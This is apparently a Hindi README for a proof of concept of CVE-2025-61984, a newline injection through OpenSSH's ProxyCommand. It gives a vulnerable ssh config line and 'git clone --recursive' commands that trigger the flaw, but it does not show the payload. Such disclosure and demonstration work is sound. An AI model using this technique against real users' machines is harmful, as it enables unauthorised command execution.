CVE-2025-61984 PoC

यह एक प्रूफ ऑफ कॉन्सेप्ट है जो OpenSSH के <10.1 ProxyCommand को भ्रमित करने के लिए न्यूलाइन का उपयोग करता है। पूरा लेख।

कैसे चलाएं

एक .ssh/config सेट अप करें जिसमें निम्न शामिल हो:

Host *.example.com
  ProxyCommand some-command %r@%h:%p

(कमांड मायने नहीं रखता, बस तर्कों में कहीं एक अनकोटेड %r होना चाहिए।)

फिर चलाएं (bash के लिए):

$ git clone --recursive https://github.com/dgl/cve-2025-61984-poc

या यदि $SHELL के रूप में fish का उपयोग कर रहे हैं:

git clone --recursive -b fish https://github.com/dgl/cve-2025-61984-poc

यदि आप शेल का उपयोग नहीं कर रहे हैं लेकिन इसका परीक्षण करना चाहते हैं, तो आप यह कर सकते हैं:

$ SHELL=/bin/bash git clone --recursive https://github.com/dgl/cve-2025-61984-poc